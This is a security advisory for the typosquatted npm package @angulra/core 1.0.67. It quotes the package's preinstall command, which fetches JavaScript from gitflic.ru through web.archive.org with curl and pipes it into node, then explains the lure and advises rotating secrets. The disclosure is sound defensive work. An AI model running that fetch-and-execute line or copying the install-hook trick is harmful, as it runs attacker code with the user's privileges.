@angulra/core

GHSA-836w-242f-9mvg

Malicious code in @angulra/core (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.67`

## Source: amazon-inspector (7ebb04f93b463536e56e0160e0e1fc2748d69c9eb15f991e990365cee7852a34)
The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from an unrelated third-party host (gitflic.ru, proxied via web.archive.org) and piping it directly into node at `npm install` time. The fetch is unpinned, has no integrity or signature check, and the source is attacker-controlled and mutable. The scoped name `@angulra/core` resembles Angular ecosystem names while the package description (`Core Libs`) and dependency set (mysql, pg, redis, knox, amqp) are inconsistent with any coherent library purpose, consistent with a typosquat lure. Any environment running `npm install` on this package executes arbitrary remote code with the installing user's privileges.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/ae1ef40954ea15dd560720d58f647c9880afc699/osv/malicious/npm/@angulra/core/MAL-2026-17496.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/ae1ef40954ea15dd560720d58f647c9880afc699/osv/malicious/npm/@angulra/core/MAL-2026-17496.json
- https://www.npmjs.com/package/@angulra/core/v/1.0.67
- https://github.com/advisories/GHSA-836w-242f-9mvg

Compromised versions (1)

= 1.0.67

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.